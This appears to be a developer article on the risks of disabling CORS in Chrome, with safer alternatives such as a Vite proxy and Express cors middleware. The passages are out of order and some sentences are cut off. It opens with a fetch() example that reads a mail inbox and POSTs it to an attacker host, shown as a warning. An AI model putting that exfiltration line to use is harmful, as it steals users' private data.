fetch('https://mail.company.com/api/inbox') .then(response => response.text()) .then(data => { // Send your entire inbox to an attacker's server fetch('https://evil-ads.com/steal', { method: 'POST', body: data }) }); This script will succeed because Chrome no longer blocks cross-origin reads. Before reaching for --disable-web-security , consider these better approaches: 1. Use a Local Proxy (Recommended) Configure your development server to proxy API requests. For example, with Webpack Dev Server or Vite:
const cors = require('cors'); app.use(cors({ origin: 'http://localhost:3000' })); For Nginx:
Many developers quickly discover the command to . But what does this actually do, when is it appropriate, and what are the hidden dangers? What Does 'Disabling CORS' Actually Do? Under standard operation, Chrome enforces the same-origin policy . If your frontend ( localhost:3000 ) tries to fetch() data from an API ( localhost:5000 ), Chrome requires the API to explicitly allow this via Access-Control-Allow-Origin headers.
// vite.config.js export default { server: { proxy: { '/api': 'http://localhost:5000' } } } Now your frontend calls /api/users instead of http://localhost:5000/users . The request stays same-origin, so CORS is never triggered. Extensions like "CORS Unblock" or "Allow CORS" toggle CORS restrictions but are less intrusive than launching with flags. Still, disable them immediately after testing. 3. Modify the Backend (Proper Fix) Add the correct CORS headers to your API. For Node.js/Express: